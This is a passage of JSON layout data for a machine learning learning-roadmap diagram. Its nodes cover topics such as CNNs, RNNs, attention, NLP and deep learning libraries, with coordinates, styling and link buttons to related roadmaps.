\"subtopic\",\n      \"position\": { \"x\": -171.5721339272493, \"y\": 3673.948816097384 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Strides\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sChxcuQ2OruKVx8P4wAK_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 114,\n      \"height\": 49,\n      \"style\": { \"width\": 302, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 114, \"height\": 49 }\n    },\n    {\n      \"id\": \"gCGHtxqD4V_Ite_AXMspf\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 48.23681648400486, \"y\": 3770.278926748161 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Applications of CNNs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kGwoHXNNXdxLfPFAX8Edi\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 301, \"height\": 49 },\n      \"width\": 301,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 318 }\n    },\n    {\n      \"id\": \"E4k6WgNXdnNoApR675VKb\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 48.23681648400485, \"y\": 3928.456791215419 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Image Classification\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QbftToskhtBlTz1jyiRkb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 301,\n      \"height\": 49,\n      \"measured\": { \"width\": 301, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 302, \"height\": 49 }\n    },\n    {\n      \"id\": \"iSX9YExs1gS4L2CBQux5w\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 48.23681648400485, \"y\": 3981.456791215419 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Image Segmentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pP0VeUSK9CDodgz-BQmrP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 301,\n      \"height\": 49,\n      \"measured\": { \"width\": 301, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 302, \"height\": 49 }\n    },\n    {\n      \"id\": \"jPvZdgye7cBf0bPMVGf7a\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 48.23681648400485, \"y\": 3875.456791215419 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Image & Video Recognition\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UO1GEUe8e22uRB6DAxfpe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 301,\n      \"height\": 49,\n      \"style\": { \"width\": 302, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 301, \"height\": 49 }\n    },\n    {\n      \"id\": \"_eKuBhCCwUHnEGwHNQY-g\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 48.23681648400485, \"y\": 4034.456791215419 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Recommendation Systems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sChxcuQ2OruKVx8P4wAK_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 301,\n      \"height\": 49,\n      \"style\": { \"width\": 302, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 301, \"height\": 49 }\n    },\n    {\n      \"id\": \"H0cscBaExZPNZuFubBUv7\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -326.6197180665912, \"y\": 3770.278926748161 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Recurrent Neural Networks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kGwoHXNNXdxLfPFAX8Edi\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 294, \"height\": 49 },\n      \"width\": 294,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 318 }\n    },\n    {\n      \"id\": \"LpggrF1MMvAxtO9EJe3wY\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -323.7535667330637, \"y\": 3867.985455509079 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"RNN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LdUwTWfCIcowwC-e6q3ac\"\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 49,\n      \"measured\": { \"width\": 100, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"id\": \"ZWDSLqxmfg3aPBZFH479q\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -216.75356673306368, \"y\": 3867.985455509079 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GRU\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LdUwTWfCIcowwC-e6q3ac\"\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"measured\": { \"width\": 76, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"id\": \"LdUwTWfCIcowwC-e6q3ac\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -133.75356673306374, \"y\": 3867.985455509079 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"LSTM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GYcDMUlf0WqU3h5tGwYul\"\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 49,\n      \"measured\": { \"width\": 100, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    {\n      \"id\": \"-tzeA13f2jYDm4aO5JciT\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -704.877244443855, \"y\": 3971.6979581981723 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Attention Mechanisms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kGwoHXNNXdxLfPFAX8Edi\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 227, \"height\": 49 },\n      \"width\": 227,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 318 }\n    },\n    {\n      \"id\": \"kvf2CUKBe4qSbZla4Brh3\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -703.877244443855, \"y\": 4174.400127048074 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Autoencoders\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kGwoHXNNXdxLfPFAX8Edi\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 227, \"height\": 49 },\n      \"width\": 227,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 318 }\n    },\n    {\n      \"id\": \"rDIg16eb6B6um1P8uMy51\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -315.1367859986136, \"y\": 4024.6979581981723 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Transformers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GKMhIXEuSKdW75-24Zopb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 272,\n      \"height\": 49,\n      \"measured\": { \"width\": 272, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 302, \"height\": 49 }\n    },\n    {\n      \"id\": \"J1aGPkZqDZfUwpVmC88AL\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -315.1367859986136, \"y\": 4077.6979581981723 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Multi-head Attention\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0meihv22e11GwqnRdSJ9g\"\n      },\n      \"zIndex\": 999,\n      \"width\": 272,\n      \"height\": 49,\n      \"measured\": { \"width\": 272, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 302, \"height\": 49 }\n    },\n    {\n      \"id\": \"oTKC1o1OOnPiTh60a8yVc\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -315.1367859986136, \"y\": 3971.6979581981723 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Self-Attention\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vRS7DW2WUaXiHk9oJgg3z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 272,\n      \"height\": 49,\n      \"style\": { \"width\": 302, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 272, \"height\": 49 }\n    },\n    {\n      \"id\": \"IR0wVIcu1MxOOBiLBnn8S\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -338.1367859986136, \"y\": 4174.400127048074 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Generative Adversarial Networks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Q6LFjtjC-NcUjpd4gijrd\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 318, \"height\": 49 },\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 318 }\n    },\n    {\n      \"width\": 279,\n      \"height\": 64,\n      \"id\": \"2eiJQUo9lA32lOTR6kbBp\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 86.09010183215503, \"y\": 4166.900127048074 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Advanced Concepts in ML\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"center\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"12FGZ95ghdRmHHCv7gEWy\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -229.33333333333337, \"y\": 1150.3333333333335 },\n      \"focusable\": true,\n      \"measured\": { \"width\": 279, \"height\": 64 },\n      \"selectable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"JVXe2QDQaqiJYPupIMhWe\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 68.95513613377187, \"y\": 4301.566192654978 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Natural Language Processing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IA-wsmrm9BO0e10Zo-x4p\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 276, \"height\": 49 },\n      \"width\": 276,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 334 }\n    },\n    {\n      \"id\": \"QbftToskhtBlTz1jyiRkb\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 133.68991330086598, \"y\": 4394.613934450062 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tokenization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rDIg16eb6B6um1P8uMy51\"\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"measured\": { \"width\": 210, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 318, \"height\": 49 }\n    },\n    {\n      \"id\": \"pP0VeUSK9CDodgz-BQmrP\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 133.68991330086598, \"y\": 4447.613934450062 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Lemmatization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"J1aGPkZqDZfUwpVmC88AL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"measured\": { \"width\": 210, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 318, \"height\": 49 }\n    },\n    {\n      \"id\": \"UO1GEUe8e22uRB6DAxfpe\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 133.68991330086598, \"y\": 4606.613934450062 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Stemming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oTKC1o1OOnPiTh60a8yVc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": { \"width\": 318, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 210, \"height\": 49 }\n    },\n    {\n      \"id\": \"CaHbAXDIJQXcQ9DZqziod\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 133.68991330086598, \"y\": 4500.613934450062 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Embeddings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sChxcuQ2OruKVx8P4wAK_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": { \"width\": 318, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 210, \"height\": 49 }\n    },\n    {\n      \"id\": \"sChxcuQ2OruKVx8P4wAK_\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 133.68991330086598, \"y\": 4553.613934450062 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Attention Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KcfFjpxFTFxI6HR6hBPrl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": { \"width\": 318, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 210, \"height\": 49 }\n    },\n    {\n      \"id\": \"4qvR1QQzrmoVIVCAsp92H\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -342.1892556595822, \"y\": 4441.989984473966 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 87,\n      \"measured\": { \"width\": 20, \"height\": 87 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"width\": 619,\n      \"height\": 117,\n      \"id\": \"O5dely89N5UCMBeUfh8ud\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -566.1164962866078, \"y\": 4432.989984473966 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Also visit the following related roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": { \"x\": -361.2032366608315, \"y\": 1810.7906301811447 },\n      \"dragging\": false,\n      \"style\": { \"width\": 410, \"height\": 119 },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 619, \"height\": 117 }\n    },\n    {\n      \"width\": 199,\n      \"height\": 49,\n      \"id\": \"hl06pnTWoMnzLmiOz9Sga\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -551.4739442280381, \"y\": 4486.840756570174 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI & Data Scientist\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"UZq7Aq3nhidsXdsKeEnNF\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -346.2032366608315, \"y\": 1864.9362876142543 },\n      \"style\": { \"width\": 380, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 199, \"height\": 49 }\n    },\n    {\n      \"width\": 100,\n      \"height\": 49,\n      \"id\": \"KGFYqDgOVSFXd2lbg8vGx\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -348.73796723918116, \"y\": 4486.840756570174 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MLOps\",\n        \"href\": \"https://roadmap.sh/sql\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"UZq7Aq3nhidsXdsKeEnNF\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -346.2032366608315, \"y\": 1864.9362876142543 },\n      \"style\": { \"width\": 380, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 100, \"height\": 49 }\n    },\n    {\n      \"width\": 148,\n      \"height\": 49,\n      \"id\": \"xcOlVnhYfnSCfzLpkcaRS\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -243.6586073727995, \"y\": 4486.840756570174 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI Engineer\",\n        \"href\": \"https://roadmap.sh/data-analyst\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"UZq7Aq3nhidsXdsKeEnNF\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -346.2032366608315, \"y\": 1864.9362876142543 },\n      \"style\": { \"width\": 380, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 148, \"height\": 49 }\n    },\n    {\n      \"width\": 120,\n      \"height\": 49,\n      \"id\": \"UZq7Aq3nhidsXdsKeEnNF\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -88.64305301692713, \"y\": 4486.840756570174 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI Agents\",\n        \"href\": \"https://roadmap.sh/mlops\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"f5WRewBlpeYMf71cPcXs-\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -346.2032366608315, \"y\": 1864.9362876142543 },\n      \"style\": { \"width\": 380, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 120, \"height\": 49 }\n    },\n    {\n      \"id\": \"Tv3sZvus76dmu0X9AqCIU\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -269.1381872719935, \"y\": 4301.566192654978 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Explainable AI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Q6LFjtjC-NcUjpd4gijrd\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 179, \"height\": 49 },\n      \"width\": 179,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 276 }\n    },\n    {\n      \"id\": \"5xxAg18h74pDAUPy6P8NQ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 106.23681648400483, \"y\": 1834.0532715281324 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Train - Test Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"S6kkjbImrp1fl3S6_2Uqx\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"measured\": { \"width\": 240, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 302 }\n    },\n    {\n      \"id\": \"-W2uAccH7Y2XIwhfl9mDF\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 106.23681648400483, \"y\": 1887.0532715281324 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Preparation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ddhph9saFgfMi-uUFGK75\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"measured\": { \"width\": 240, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 302 }\n    },\n    {\n      \"id\": \"bIhGv4886V4RWJD3tX0a0\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 106.23681648400483, \"y\": 1781.0532715281324 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Loading\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xGO1X9aZRgKcgzi6r1xq8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": { \"width\": 302, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 240, \"height\": 49 }\n    },\n    {\n      \"id\": \"m4vmnxRMBf7zwNnwrMEnk\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 106.23681648400483, \"y\": 1993.0532715281324 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tuning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FVIdjmjfkM84nmGVw1S_c\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 240, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"vBnqnIh_xSn0OuY9oQ5e-\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 106.23681648400483, \"y\": 2046.0532715281324 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Prediction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vyhrYvbmE9m8P-mjOsR7b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 240, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Ddhph9saFgfMi-uUFGK75\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 106.23681648400483, \"y\": 1940.0532715281324 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Model Selection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NOJ-uL1ABewYriqMDVZ3M\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"measured\": { \"width\": 240, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 302 }\n    },\n    {\n      \"id\": \"A_Kx3pEj0jpnLJzdOpcQ9\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -310.6197180665912, \"y\": 3383.1562291401465 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Deep Learning Libraries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kGwoHXNNXdxLfPFAX8Edi\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 260, \"height\": 49 },\n      \"width\": 260,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 318 }\n    },\n    {\n      \"id\": \"Ru8_xMyFxye1hyzCUYvnj\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -308.2247168194407, \"y\": 3481.673757913715 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"TensorFlow\",\n        \"style\": {\n      